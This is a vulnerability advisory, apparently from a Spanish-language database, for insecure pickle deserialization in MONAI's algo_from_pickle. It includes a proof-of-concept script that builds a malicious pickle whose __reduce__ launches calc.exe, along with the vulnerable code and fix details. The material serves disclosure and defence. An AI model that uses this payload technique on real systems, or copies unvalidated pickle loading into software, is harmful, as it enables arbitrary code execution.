MONAI: Unsafe functions lead to pickle deserialization rce
Summary
The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.
Details
poc
import pickle
import subprocess
class MaliciousAlgo:
def __reduce__(self):
return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())
attack_data = {
"algo_bytes": malicious_algo_bytes,
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
f.write(pickle.dumps(attack_data))Generate the malicious file "attack_algo.pkl" through POC.
from monai.auto3dseg.utils import algo_from_pickle
attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)Ultimately, it will trigger pickle.load through a file to identify the command execution.
<img width="909" height="534" alt="image" src="https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f" />Causes of the vulnerability:
def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:
with open(pkl_filename, "rb") as f_pi:
data_bytes = f_pi.read()
data = pickle.loads(data_bytes)Impact
Arbitrary code execution
Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | monai | < 1.6.0 | 1.6.0 |
Referencias
- https://www.vulncheck.com/advisories/monai-before-1.5.2-remote-code-execution-via-pickle-deserialization
- https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4
- https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161
- https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc
- https://github.com/Project-MONAI/MONAI
- https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0
- Vector CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H- Debilidad (CWE)
CWE-502- Plataforma
- Python (PyPI)
- Paquete
monai- Publicada
- 07.04.2026
- Actualizado
- 11.10.2026 15:18
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2026-4021 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-89gg-p5r5-q6r4 - CC BY 4.0
Historial de vulnerabilidades: monai
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 11
- Primera → última
- 09.2025 09.2026
- Sin corrección
- 1
- Explotada en ataques
- 0
Distribución por gravedad
- Alta 8
- Media 1
- Sin evaluar 2
Divulgaciones por año
- 2025: 3
- 2026: 8
-
MONAI: Unsafe functions lead to pickle deserialization rce esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.